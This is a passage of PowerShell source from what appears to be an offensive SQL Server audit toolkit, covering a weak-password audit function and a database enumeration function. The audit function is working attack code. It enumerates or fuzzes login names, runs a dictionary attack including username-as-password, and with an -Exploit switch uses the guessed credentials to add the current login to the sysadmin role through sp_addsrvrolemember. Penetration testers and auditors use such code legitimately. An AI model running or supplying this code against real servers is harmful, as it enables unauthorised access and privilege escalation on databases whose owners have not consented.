| PS C:\> Get-SQLInstanceLocal | Invoke-SQLAuditWeakLoginPw -Username myuser -Password mypassword | |
| ComputerName : SQLServer1 | |
| Instance : SQLServer1\STANDARDDEV2014 | |
| Vulnerability : Weak Login Password | |
| Description : One or more SQL Server logins is configured with a weak password. This may provide unauthorized access to resources the affected logins have access to. | |
| Remediation : Ensure all SQL Server logins are required to use a strong password. Considered inheriting the OS password policy. | |
| Severity : High | |
| IsVulnerable : Yes | |
| IsExploitable : Yes | |
| Exploited : No | |
| ExploitCmd : Use the affected credentials to log into the SQL Server, or rerun this command with -Exploit. | |
| Details : The testuser (Not Sysadmin) is configured with the password testuser. | |
| Reference : https://msdn.microsoft.com/en-us/library/ms161959.aspx | |
| Author : Scott Sutherland (@_nullbind), NetSPI 2016 | |
| ComputerName : SQLServer1 | |
| Instance : SQLServer1\Express | |
| Vulnerability : Weak Login Password | |
| Description : One or more SQL Server logins is configured with a weak password. This may provide unauthorized access to resources the affected logins have access to. | |
| Remediation : Ensure all SQL Server logins are required to use a strong password. Considered inheriting the OS password policy. | |
| Severity : High | |
| IsVulnerable : Yes | |
| IsExploitable : Yes | |
| Exploited : No | |
| ExploitCmd : Use the affected credentials to log into the SQL Server, or rerun this command with -Exploit. | |
| Details : The testadmin (Sysadmin) is configured with the password testadmin. | |
| Reference : https://msdn.microsoft.com/en-us/library/ms161959.aspx | |
| Author : Scott Sutherland (@_nullbind), NetSPI 2016 | |
| .EXAMPLE | |
| PS C:\> Invoke-SQLAuditWeakLoginPw -Verbose -Instance SQLServer1\STANDARDDEV2014 | |
| #> | |
| [CmdletBinding()] | |
| Param( | |
| [Parameter(Mandatory = $false, | |
| ValueFromPipelineByPropertyName = $true, | |
| HelpMessage = 'Known SQL Server login to fuzz logins with.')] | |
| [string]$Username, | |
| [Parameter(Mandatory = $false, | |
| ValueFromPipelineByPropertyName = $true, | |
| HelpMessage = 'Username to test.')] | |
| [string]$TestUsername = 'sa', | |
| [Parameter(Mandatory = $false, | |
| HelpMessage = 'Path to list of users to use. One per line.')] | |
| [string]$UserFile, | |
| [Parameter(Mandatory = $false, | |
| ValueFromPipelineByPropertyName = $true, | |
| HelpMessage = 'Known SQL Server password to fuzz logins with.')] | |
| [string]$Password, | |
| [Parameter(Mandatory = $false, | |
| ValueFromPipelineByPropertyName = $true, | |
| HelpMessage = 'SQL Server password to attempt to login with.')] | |
| [string]$TestPassword, | |
| [Parameter(Mandatory = $false, | |
| HelpMessage = 'Path to list of passwords to use. One per line.')] | |
| [string]$PassFile, | |
| [Parameter(Mandatory = $false, | |
| HelpMessage = 'User is tested as pass by default. This setting disables it.')] | |
| [switch]$NoUserAsPass, | |
| [Parameter(Mandatory = $false, | |
| ValueFromPipelineByPropertyName = $true, | |
| HelpMessage = 'Windows credentials.')] | |
| [System.Management.Automation.PSCredential] | |
| [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, | |
| [Parameter(Mandatory = $false, | |
| ValueFromPipelineByPropertyName = $true, | |
| HelpMessage = 'SQL Server instance to connection to.')] | |
| [string]$Instance, | |
| [Parameter(Mandatory = $false, | |
| HelpMessage = "Don't attempt to enumerate logins from the server.")] | |
| [switch]$NoUserEnum, | |
| [Parameter(Mandatory = $false, | |
| HelpMessage = 'Number of Principal IDs to fuzz.')] | |
| [string]$FuzzNum = 10000, | |
| [Parameter(Mandatory = $false, | |
| HelpMessage = "Don't output anything.")] | |
| [switch]$NoOutput, | |
| [Parameter(Mandatory = $false, | |
| HelpMessage = 'Exploit vulnerable issues.')] | |
| [switch]$Exploit | |
| ) | |
| Begin | |
| { | |
| # Table for output | |
| $TblData = New-Object -TypeName System.Data.DataTable | |
| $null = $TblData.Columns.Add('ComputerName') | |
| $null = $TblData.Columns.Add('Instance') | |
| $null = $TblData.Columns.Add('Vulnerability') | |
| $null = $TblData.Columns.Add('Description') | |
| $null = $TblData.Columns.Add('Remediation') | |
| $null = $TblData.Columns.Add('Severity') | |
| $null = $TblData.Columns.Add('IsVulnerable') | |
| $null = $TblData.Columns.Add('IsExploitable') | |
| $null = $TblData.Columns.Add('Exploited') | |
| $null = $TblData.Columns.Add('ExploitCmd') | |
| $null = $TblData.Columns.Add('Details') | |
| $null = $TblData.Columns.Add('Reference') | |
| $null = $TblData.Columns.Add('Author') | |
| } | |
| Process | |
| { | |
| # Status User | |
| Write-Verbose -Message "$Instance : START VULNERABILITY CHECK: Weak Login Password" | |
| # Test connection to server | |
| $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { | |
| $_.Status -eq 'Accessible' | |
| } | |
| if(-not $TestConnection) | |
| { | |
| # Status user | |
| Write-Verbose -Message "$Instance : CONNECTION FAILED." | |
| Write-Verbose -Message "$Instance : COMPLETED VULNERABILITY CHECK: Weak Login Password." | |
| Return | |
| } | |
| else | |
| { | |
| Write-Verbose -Message "$Instance : CONNECTION SUCCESS." | |
| } | |
| # Grab server information | |
| $ServerInfo = Get-SQLServerInfo -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | |
| $CurrentLogin = $ServerInfo.CurrentLogin | |
| $ComputerName = $ServerInfo.ComputerName | |
| $CurrentUSerSysadmin = $ServerInfo.IsSysadmin | |
| # -------------------------------------------- | |
| # Set function meta data for report output | |
| # -------------------------------------------- | |
| if($Exploit) | |
| { | |
| $TestMode = 'Exploit' | |
| } | |
| else | |
| { | |
| $TestMode = 'Audit' | |
| } | |
| $Vulnerability = 'Weak Login Password' | |
| $Description = 'One or more SQL Server logins is configured with a weak password. This may provide unauthorized access to resources the affected logins have access to.' | |
| $Remediation = 'Ensure all SQL Server logins are required to use a strong password. Consider inheriting the OS password policy.' | |
| $Severity = 'High' | |
| $IsVulnerable = 'No' | |
| $IsExploitable = 'No' | |
| $Exploited = 'No' | |
| $ExploitCmd = 'Use the affected credentials to log into the SQL Server, or rerun this command with -Exploit.' | |
| $Details = '' | |
| $Reference = 'https://msdn.microsoft.com/en-us/library/ms161959.aspx' | |
| $Author = 'Scott Sutherland (@_nullbind), NetSPI 2016' | |
| # ----------------------------------------------------------------- | |
| # Check for the Vulnerability | |
| # Note: Typically a missing patch or weak configuration | |
| # ----------------------------------------------------------------- | |
| # Create empty user / password lists | |
| $LoginList = @() | |
| $PasswordList = @() | |
| # Get logins for testing - file | |
| if($UserFile) | |
| { | |
| Write-Verbose -Message "$Instance - Getting logins from file..." | |
| Get-Content -Path $UserFile | | |
| ForEach-Object -Process { | |
| $LoginList += $_ | |
| } | |
| } | |
| # Get logins for testing - variable | |
| if($TestUsername) | |
| { | |
| Write-Verbose -Message "$Instance - Getting supplied login..." | |
| $LoginList += $TestUsername | |
| } | |
| # Get logins for testing - fuzzed | |
| if(-not $NoUserEnum) | |
| { | |
| # Test connection to instance | |
| $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { | |
| $_.Status -eq 'Accessible' | |
| } | |
| if($TestConnection) | |
| { | |
| # Check if sysadmin | |
| $IsSysadmin = Get-SQLSysadminCheck -Instance $Instance -Credential $Credential -Username $Username -Password $Password -SuppressVerbose | Select-Object -Property IsSysadmin -ExpandProperty IsSysadmin | |
| if($IsSysadmin -eq 'Yes') | |
| { | |
| # Query for logins | |
| Write-Verbose -Message "$Instance - Getting list of logins..." | |
| Get-SQLServerLogin -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | | |
| Where-Object -FilterScript { | |
| $_.PrincipalType -eq 'SQL_LOGIN' | |
| } | | |
| Select-Object -Property PrincipalName -ExpandProperty PrincipalName | | |
| ForEach-Object -Process { | |
| $LoginList += $_ | |
| } | |
| } | |
| else | |
| { | |
| # Fuzz logins | |
| Write-Verbose -Message "$Instance : Enumerating principal names from $FuzzNum principal IDs.." | |
| Get-SQLFuzzServerLogin -Instance $Instance -GetPrincipalType -Username $Username -Password $Password -Credential $Credential -FuzzNum $FuzzNum -SuppressVerbose | | |
| Where-Object -FilterScript { | |
| $_.PrincipleType -eq 'SQL Login' | |
| } | | |
| Select-Object -Property PrincipleName -ExpandProperty PrincipleName | | |
| ForEach-Object -Process { | |
| $LoginList += $_ | |
| } | |
| } | |
| } | |
| else | |
| { | |
| if( -not $SuppressVerbose) | |
| { | |
| Write-Verbose -Message "$Instance - Connection Failed - Could not authenticate with provided credentials." | |
| } | |
| return | |
| } | |
| } | |
| # Check for users or return - count array | |
| if($LoginList.count -eq 0 -and (-not $FuzzLogins)) | |
| { | |
| Write-Verbose -Message "$Instance - No logins have been provided." | |
| return | |
| } | |
| # Get passwords for testing - file | |
| if($PassFile) | |
| { | |
| Write-Verbose -Message "$Instance - Getting password from file..." | |
| Get-Content -Path $PassFile | | |
| ForEach-Object -Process { | |
| $PasswordList += $_ | |
| } | |
| } | |
| # Get passwords for testing - variable | |
| if($TestPassword) | |
| { | |
| Write-Verbose -Message "$Instance - Getting supplied password..." | |
| $PasswordList += $TestPassword | |
| } | |
| # Check for provided passwords | |
| if($PasswordList.count -eq 0 -and ($NoUserAsPass)) | |
| { | |
| Write-Verbose -Message "$Instance - No passwords have been provided." | |
| return | |
| } | |
| # Iternate through logins and perform dictionary attack | |
| Write-Verbose -Message "$Instance - Performing dictionary attack..." | |
| $LoginList | | |
| Select-Object -Unique | | |
| ForEach-Object -Process { | |
| $TargetLogin = $_ | |
| $PasswordList | | |
| Select-Object -Unique | | |
| ForEach-Object -Process { | |
| $TargetPassword = $_ | |
| $TestPass = Get-SQLConnectionTest -Instance $Instance -Username $TargetLogin -Password $TargetPassword -SuppressVerbose | | |
| Where-Object -FilterScript { | |
| $_.Status -eq 'Accessible' | |
| } | |
| if($TestPass) | |
| { | |
| # Check if guess credential is a sysadmin | |
| $IsSysadmin = Get-SQLSysadminCheck -Instance $Instance -Credential $Credential -Username $TargetLogin -Password $TargetPassword -SuppressVerbose | | |
| Select-Object -Property IsSysadmin -ExpandProperty IsSysadmin | |
| if($IsSysadmin -eq 'Yes') | |
| { | |
| $SysadminStatus = 'Sysadmin' | |
| } | |
| else | |
| { | |
| $SysadminStatus = 'Not Sysadmin' | |
| } | |
| Write-Verbose -Message "$Instance - Successful Login: User = $TargetLogin ($SysadminStatus) Password = $TargetPassword" | |
| if($Exploit) | |
| { | |
| Write-Verbose -Message "$Instance - Trying to make you a sysadmin..." | |
| # Check if the current login is a sysadmin | |
| $IsSysadmin1 = Get-SQLSysadminCheck -Instance $Instance -Credential $Credential -Username $Username -Password $Password -SuppressVerbose | | |
| Select-Object -Property IsSysadmin -ExpandProperty IsSysadmin | |
| if($IsSysadmin1 -eq 'Yes') | |
| { | |
| Write-Verbose -Message "$Instance - You're already a sysadmin. Nothing to do." | |
| } | |
| else | |
| { | |
| Write-Verbose -Message "$Instance - You're not currently a sysadmin. Let's change that..." | |
| # Add current user as sysadmin if login was successful | |
| Get-SQLQuery -Instance $Instance -Username $TargetLogin -Password $TargetPassword -Credential $Credential -Query "EXEC sp_addsrvrolemember '$CurrentLogin','sysadmin'" -SuppressVerbose | |
| # Check if the current login is a sysadmin again | |
| $IsSysadmin2 = Get-SQLSysadminCheck -Instance $Instance -Credential $Credential -Username $Username -Password $Password -SuppressVerbose | | |
| Select-Object -Property IsSysadmin -ExpandProperty IsSysadmin | |
| if($IsSysadmin2 -eq 'Yes') | |
| { | |
| $Exploited = 'Yes' | |
| Write-Verbose -Message "$Instance - SUCCESS! You're a sysadmin now." | |
| } | |
| else | |
| { | |
| $Exploited = 'No' | |
| Write-Verbose -Message "$Instance - Fail. We coudn't add you as a sysadmin." | |
| } | |
| } | |
| } | |
| # Add record | |
| $Details = "The $TargetLogin ($SysadminStatus) is configured with the password $TargetPassword." | |
| $IsVulnerable = 'Yes' | |
| $IsExploitable = 'Yes' | |
| $null = $TblData.Rows.Add($ComputerName, $Instance, $Vulnerability, $Description, $Remediation, $Severity, $IsVulnerable, $IsExploitable, $Exploited, $ExploitCmd, $Details, $Reference, $Author) | |
| } | |
| else | |
| { | |
| Write-Verbose -Message "$Instance - Failed Login: User = $TargetLogin Password = $TargetPassword" | |
| } | |
| } | |
| } | |
| # Test user as pass | |
| if(-not $NoUserAsPass) | |
| { | |
| $LoginList | | |
| Select-Object -Unique | | |
| ForEach-Object -Process { | |
| $TargetLogin = $_ | |
| $TestPass = Get-SQLConnectionTest -Instance $Instance -Username $TargetLogin -Password $TargetLogin -SuppressVerbose | | |
| Where-Object -FilterScript { | |
| $_.Status -eq 'Accessible' | |
| } | |
| if($TestPass) | |
| { | |
| # Check if user/name combo has sysadmin | |
| $IsSysadmin3 = Get-SQLSysadminCheck -Instance $Instance -Credential $Credential -Username $TargetLogin -Password $TargetLogin -SuppressVerbose | | |
| Select-Object -Property IsSysadmin -ExpandProperty IsSysadmin | |
| if($IsSysadmin3 -eq 'Yes') | |
| { | |
| $SysadminStatus = 'Sysadmin' | |
| } | |
| else | |
| { | |
| $SysadminStatus = 'Not Sysadmin' | |
| } | |
| Write-Verbose -Message "$Instance - Successful Login: User = $TargetLogin ($SysadminStatus) Password = $TargetLogin" | |
| if(($Exploit) -and $IsSysadmin3 -eq 'Yes') | |
| { | |
| # Check if the current login is a sysadmin | |
| $IsSysadmin4 = Get-SQLSysadminCheck -Instance $Instance -Credential $Credential -Username $Username -Password $Password -SuppressVerbose | | |
| Select-Object -Property IsSysadmin -ExpandProperty IsSysadmin | |
| if($IsSysadmin4 -eq 'Yes') | |
| { | |
| Write-Verbose -Message "$Instance - You're already a sysadmin. Nothing to do." | |
| } | |
| else | |
| { | |
| Write-Verbose -Message "$Instance - You're not currently a sysadmin. Let's change that..." | |
| # Add current user as sysadmin if login was successful | |
| Get-SQLQuery -Instance $Instance -Username $TargetLogin -Password $TargetLogin -Credential $Credential -Query "EXEC sp_addsrvrolemember '$CurrentLogin','sysadmin'" -SuppressVerbose | |
| # Check if the current login is a sysadmin again | |
| $IsSysadmin5 = Get-SQLSysadminCheck -Instance $Instance -Credential $Credential -Username $Username -Password $Password -SuppressVerbose | | |
| Select-Object -Property IsSysadmin -ExpandProperty IsSysadmin | |
| if($IsSysadmin5 -eq 'Yes') | |
| { | |
| $Exploited = 'Yes' | |
| Write-Verbose -Message "$Instance - SUCCESS! You're a sysadmin now." | |
| } | |
| else | |
| { | |
| $Exploited = 'No' | |
| Write-Verbose -Message "$Instance - Fail. We coudn't add you as a sysadmin." | |
| } | |
| } | |
| } | |
| # Add record | |
| $Details = "The $TargetLogin ($SysadminStatus) principal is configured with the password $TargetLogin." | |
| $IsVulnerable = 'Yes' | |
| $IsExploitable = 'Yes' | |
| $null = $TblData.Rows.Add($ComputerName, $Instance, $Vulnerability, $Description, $Remediation, $Severity, $IsVulnerable, $IsExploitable, $Exploited, $ExploitCmd, $Details, $Reference, $Author) | |
| } | |
| else | |
| { | |
| Write-Verbose -Message "$Instance - Failed Login: User = $TargetLogin Password = $TargetLogin" | |
| } | |
| } | |
| } | |
| # ----------------------------------------------------------------- | |
| # Check for exploit dependancies | |
| # Note: Typically secondary configs required for dba/os execution | |
| # ----------------------------------------------------------------- | |
| # $IsExploitable = "No" or $IsExploitable = "Yes" | |
| # Check if the link is alive and verify connection + check if sysadmin | |
| # ----------------------------------------------------------------- | |
| # Exploit Vulnerability | |
| # Note: Add the current user to sysadmin fixed server role | |
| # ----------------------------------------------------------------- | |
| # $Exploited = "No" or $Exploited = "Yes" - check if login is a sysadmin | |
| # Status User | |
| Write-Verbose -Message "$Instance : COMPLETED VULNERABILITY CHECK: Weak Login Password" | |
| } | |
| End | |
| { | |
| # Return data | |
| if ( -not $NoOutput) | |
| { | |
| Return $TblData | Sort-Object -Property computername, instance, details | |
| } | |
| } | |
| } | |
| Function Get-SQLDatabase | |
| { | |
| <# | |
| .SYNOPSIS | |
| Returns database information from target SQL Servers. | |
| .PARAMETER Username | |
| SQL Server or domain account to authenticate with. | |
| .PARAMETER Password | |
| SQL Server or domain account password to authenticate with. | |
| .PARAMETER Credential | |
| SQL Server credential. | |
| .PARAMETER Instance | |
| SQL Server instance to connection to. | |
| .PARAMETER DAC | |
| Connect using Dedicated Admin Connection. | |
| .PARAMETER DatabaseName | |
| Database name to filter for. | |
| .PARAMETER NoDefaults | |
| Only select non default databases. | |
| .PARAMETER HasAccess | |
| Only select databases the current user has access to. | |
| .PARAMETER SysAdminOnly | |
| Only select databases owned by a sysadmin. | |
| .EXAMPLE | |
| PS C:\> Get-SQLDatabase -Instance SQLServer1\STANDARDDEV2014 -NoDefaults -DatabaseName testdb | |
| ComputerName : SQLServer1 | |
| Instance : SQLServer1\STANDARDDEV2014 | |
| DatabaseId : 7 | |
| DatabaseName : testdb | |
| DatabaseOwner : sa | |
| OwnerIsSysadmin : 1 | |
| is_trustworthy_on : True | |
| is_db_chaining_on : False | |
| is_broker_enabled : True | |
| is_encrypted : False | |
| is_read_only : False | |
| create_date : 4/13/2016 4:27:36 PM | |
| recovery_model_desc : FULL | |
| FileName : C:\Program Files\Microsoft SQL Server\MSSQL12.STANDARDDEV2014\MSSQL\DATA\testdb.mdf | |
| DbSizeMb : 3.19 | |
| has_dbaccess : 1 | |
| .EXAMPLE | |
| PS C:\> Get-SQLInstanceLocal | Get-SQLDatabase -Verbose | |
| #> | |
| [CmdletBinding()] | |
| Param( | |
| [Parameter(Mandatory = $false, | |
| HelpMessage = 'SQL Server or domain account to authenticate with.')] | |
| [string]$Username, | |
| [Parameter(Mandatory = $false, | |
| HelpMessage = 'SQL Server or domain account password to authenticate with.')] | |
| [string]$Password, | |
| [Parameter(Mandatory = $false, | |
| HelpMessage = 'Windows credentials.')] | |
| [System.Management.Automation.PSCredential] | |
| [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, | |
| [Parameter(Mandatory = $false, | |
| ValueFromPipelineByPropertyName = $true, | |
| HelpMessage = 'SQL Server instance to connection to.')] | |
| [string]$Instance, | |
| [Parameter(Mandatory = $false, | |
| ValueFromPipeline = $true, | |
| ValueFromPipelineByPropertyName = $true, | |
| HelpMessage = 'Database name.')] | |
| [string]$DatabaseName, | |
| [Parameter(Mandatory = $false, | |
| HelpMessage = 'Only select non default databases.')] | |
| [switch]$NoDefaults, | |
| [Parameter(Mandatory = $false, | |
| HelpMessage = 'Only select databases the current user has access to.')] | |
| [switch]$HasAccess, | |
| [Parameter(Mandatory = $false, | |
| HelpMessage = 'Only select databases owned by a sysadmin.')] | |
| [switch]$SysAdminOnly, | |
| [Parameter(Mandatory = $false, | |
| HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] | |
| [switch]$SuppressVerbose | |
| ) | |
| Begin | |
| { | |
| # Create data tables for output | |
| $TblResults = New-Object -TypeName System.Data.DataTable | |
| $TblDatabases = New-Object -TypeName System.Data.DataTable | |
| $null = $TblDatabases.Columns.Add('ComputerName') | |
| $null = $TblDatabases.Columns.Add('Instance') | |
| $null = $TblDatabases.Columns.Add('DatabaseId') | |
| $null = $TblDatabases.Columns.Add('DatabaseName') | |
| $null = $TblDatabases.Columns.Add('DatabaseOwner') | |
| $null = $TblDatabases.Columns.Add('OwnerIsSysadmin') | |
| $null = $TblDatabases.Columns.Add('is_trustworthy_on') | |
| $null = $TblDatabases.Columns.Add('is_db_chaining_on') | |
| $null = $TblDatabases.Columns.Add('is_broker_enabled') | |
| $null = $TblDatabases.Columns.Add('is_encrypted') | |
| $null = $TblDatabases.Columns.Add('is_read_only') | |
| $null = $TblDatabases.Columns.Add('create_date') | |
| $null = $TblDatabases.Columns.Add('recovery_model_desc') | |
| $null = $TblDatabases.Columns.Add('FileName') | |
| $null = $TblDatabases.Columns.Add('DbSizeMb') | |
| $null = $TblDatabases.Columns.Add('has_dbaccess') | |
| # Setup database filter | |
| if($DatabaseName) | |
| { | |
| $DatabaseFilter = " and a.name like '$DatabaseName'" | |
| } | |
| else | |
| { | |
| $DatabaseFilter = '' | |
| } | |
| # Setup NoDefault filter | |
| if($NoDefaults) | |
| { | |
| $NoDefaultsFilter = " and a.name not in ('master','tempdb','msdb','model')" | |
| } | |
| else | |
| { | |
| $NoDefaultsFilter = '' | |
| } | |
| # Setup HasAccess filter | |
| if($HasAccess) | |
| { | |
| $HasAccessFilter = ' and HAS_DBACCESS(a.name)=1' | |
| } | |
| else | |
| { | |
| $HasAccessFilter = '' | |
| } | |
| # Setup owner is sysadmin filter | |
| if($SysAdminOnly) | |
| { | |
| $SysAdminOnlyFilter = " and IS_SRVROLEMEMBER('sysadmin',SUSER_SNAME(a.owner_sid))=1" | |
| } | |
| else | |
| { | |
| $SysAdminOnlyFilter = '' | |
| } | |
| } | |
| Process | |
| { | |
| # Parse computer name from the instance | |
| $ComputerName = Get-ComputerNameFromInstance -Instance $Instance | |
| # Default connection to local default instance | |
| if(-not $Instance) | |
| { | |
| $Instance = $env:COMPUTERNAME | |
| } | |
| # Test connection to instance | |
| $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { | |
| $_.Status -eq 'Accessible' | |
| } | |
| if($TestConnection) | |
| { | |
| if( -not $SuppressVerbose) | |
| { | |
| Write-Verbose -Message "$Instance : Connection Success." | |
| } | |
| } | |
| else | |
| { | |
| if( -not $SuppressVerbose) | |
| { | |
| Write-Verbose -Message "$Instance : Connection Failed." | |
| } | |
| return | |
| } | |
| # Check version | |
| $SQLVersionFull = Get-SQLServerInfo -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Select-Object -Property SQLServerVersionNumber -ExpandProperty SQLServerVersionNumber | |
| if($SQLVersionFull) | |
| { | |
| $SQLVersionShort = $SQLVersionFull.Split('.')[0] | |
| } | |
| # Base query | |
| $QueryStart = " SELECT '$ComputerName' as [ComputerName], | |
| '$Instance' as [Instance], | |
| a.database_id as [DatabaseId], | |
| a.name as [DatabaseName], | |
| SUSER_SNAME(a.owner_sid) as [DatabaseOwner], | |
| IS_SRVROLEMEMBER('sysadmin',SUSER_SNAME(a.owner_sid)) as [OwnerIsSysadmin], | |
| a.is_trustworthy_on, | |
| a.is_db_chaining_on," | |
| # Version specific columns | |
| if([int]$SQLVersionShort -ge 10) | |
| { | |
| $QueryVerSpec = ' | |
| a.is_broker_enabled, | |
| a.is_encrypted, | |
| a.is_read_only,' | |
| } | |
| # Query end | |
| $QueryEnd = ' | |
| a.create_date, | |
| a.recovery_model_desc, | |
| b.filename as [FileName], | |
| (SELECT CAST(SUM(size) * 8. / 1024 AS DECIMAL(8,2)) | |
| from sys.master_files where name like a.name) as [DbSizeMb], | |
| HAS_DBACCESS(a.name) as [has_dbaccess] | |
| FROM [sys].[databases] a | |
| INNER JOIN [sys].[sysdatabases] b ON a.database_id = b.dbid WHERE 1=1' | |
| # User defined filters | |
| $Filters = " | |
| $DatabaseFilter | |
| $NoDefaultsFilter | |
| $HasAccessFilter | |
| $SysAdminOnlyFilter | |
| ORDER BY a.database_id" | |
| $Query = "$QueryStart $QueryVerSpec $QueryEnd $Filters" | |
| # Execute Query | |
| $TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | |
| # Append results for pipeline items | |
| $TblResults | | |
| ForEach-Object -Process { | |
| # Set version specific values | |
| if([int]$SQLVersionShort -ge 10) | |
| { | |
| $is_broker_enabled = $_.is_broker_enabled | |
| $is_encrypted = $_.is_encrypted | |
| $is_read_only = $_.is_read_only | |
| } | |
| else | |
| { | |
| $is_broker_enabled = 'NA' | |
| $is_encrypted = 'NA' | |
| $is_read_only = 'NA' | |
| } | |
| $null = $TblDatabases.Rows.Add( | |
| $_.ComputerName, | |
| $_.Instance, | |
| $_.DatabaseId, | |
| $_.DatabaseName, | |
| $_.DatabaseOwner, | |
| $_.OwnerIsSysadmin, | |
| $_.is_trustworthy_on, | |
| $_.is_db_chaining_on, | |
| $is_broker_enabled, | |
| $is_encrypted, | |
| $is_read_only, | |
| $_.create_date, | |
| $_.recovery_model_desc, | |
| $_.FileName, | |
| $_.DbSizeMb, | |
| $_.has_dbaccess | |
| ) | |
| } | |
| } | |
| End | |
| { | |
| # Return data | |
| $TblDatabases | |
| } | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment